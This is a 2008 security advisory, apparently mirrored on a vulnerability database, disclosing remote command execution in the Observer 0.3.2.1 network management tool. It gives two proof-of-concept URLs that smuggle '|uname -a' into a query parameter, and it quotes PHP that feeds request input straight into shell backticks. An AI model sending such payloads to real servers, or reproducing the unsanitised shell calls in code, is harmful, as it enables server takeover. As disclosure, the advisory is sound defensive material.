Lucene search
K

observer-exec.txt

🗓️ 25 Sep 2008 00:00:00Reported by dunType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

Remote Command Execution in Observer network management system version 0.3.2.1

Code
` :::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
  
[ Discovered by dun \ dun[at]strcpy.pl ]  
  
#########################################################  
# [ observer <= 0.3.2.1 ] Remote Command Execution #  
#########################################################  
#  
# Script: "Observer is an autodiscovering PHP/MySQL/SNMP/CDP based network management system focused primarily on Cisco and Linux/BSD networks."  
#  
# Script site: http://www.project-observer.org/  
# Download: http://freshmeat.net/projects/observer/  
#  
# Vuln:   
# (1) http://site.com/[observer-0.3.2.1]/whois.php?query=|uname -a  
# (2) http://site.com/[observer-0.3.2.1]/netcmd.php?cmd=nmap&query=|uname -a   
#  
#  
# Bug(1): ./observer-0.3.2.1/html/whois.php  
#  
# ...  
# $output = `/usr/bin/whois $_GET[query] | grep -v \%`;  
# $output = trim($output);  
# echo("<pre>$output</pre>");  
# ...   
#  
#  
# Bug(2): ./observer-0.3.2.1/html/netcmd.php  
#  
# ...  
# switch ($_GET[cmd]) {  
# case 'whois':  
# $output = `/usr/bin/whois $_GET[query] | grep -v \%`;  
# break;  
# case 'ping':  
# $output = `/bin/ping $_GET[query]`;  
# break;  
# case 'tracert':  
# $output = `/usr/sbin/traceroute $_GET[query]`;  
# break;  
# case 'nmap':  
# $output = `/usr/bin/nmap $_GET[query]`;  
# break;  
# }  
# $output = trim($output);  
# echo("<pre>$output</pre>");  
# ...   
#  
#  
###############################################  
# Greetz: D3m0n_DE * str0ke * and otherz..  
###############################################  
  
[ dun / 2008 ]   
  
*******************************************************************************************  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation